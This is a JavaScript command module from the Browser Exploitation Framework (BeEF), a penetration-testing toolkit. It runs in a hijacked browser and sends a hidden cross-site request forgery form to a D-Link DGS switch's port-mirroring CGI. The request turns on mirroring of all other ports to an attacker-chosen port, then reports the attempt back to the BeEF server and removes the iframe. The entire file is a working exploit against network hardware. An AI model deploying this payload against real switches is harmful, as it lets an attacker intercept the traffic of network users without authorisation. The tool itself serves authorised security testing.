//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  // Hooked browser must be authenticated to switch.
  var base = '<%= @base %>';
  var totalports = parseInt('<%= @totalports %>');
  var mirrorport = parseInt('<%= @mirrorport %>');

  var mask = '';
  for (var i = 1; i <= totalports; i++) {
    mask += i == mirrorport ? "0" : "1";
  }

  var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/PortMirroring.cgi', 'POST', 'application/x-www-form-urlencoded', [
    { type: 'hidden', name: 'cEn', value: 1 },
    { type: 'hidden', name: 'sTagP', value: mirrorport },
    { type: 'hidden', name: 'sMode', value: 2 },
    { type: 'hidden', name: 'SrcLst', value: mask }
  ]);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(dlink_dgs_iframe);
  }

  setTimeout("cleanup()", 15000);
});

